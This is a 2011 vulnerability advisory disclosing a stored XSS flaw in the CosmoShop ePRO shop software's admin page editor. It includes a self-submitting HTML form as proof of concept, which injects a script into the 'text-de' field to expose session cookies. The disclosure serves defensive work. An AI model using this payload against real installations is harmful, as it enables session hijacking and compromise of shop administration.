HTB22880: XSS vulnerability in CosmoShop

Vulnerability ID: HTB22880
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_cosmoshop_1.html
Product: CosmoShop
Vendor: Zaunz Publishing GmbH ( http://www.cosmoshop.de/ )
Vulnerable Version: ePRO V10.05.00
Vendor Notification: 24 February 2011
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "cgi-bin/admin/edit_startseitentext.cgi" script to properly sanitize user-supplied input in "text-de" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/cgi-bin/admin/edit_startseitentext.cgi&quot; method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="setup" value="allgemein">
<input type="hidden" name="action" value="save">
<input type="hidden" name="use_wwe" value="1">
<input type="hidden" name="file-de" value="startseitentext_de.txt">
<input type="hidden" name="text-de" value='page html"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version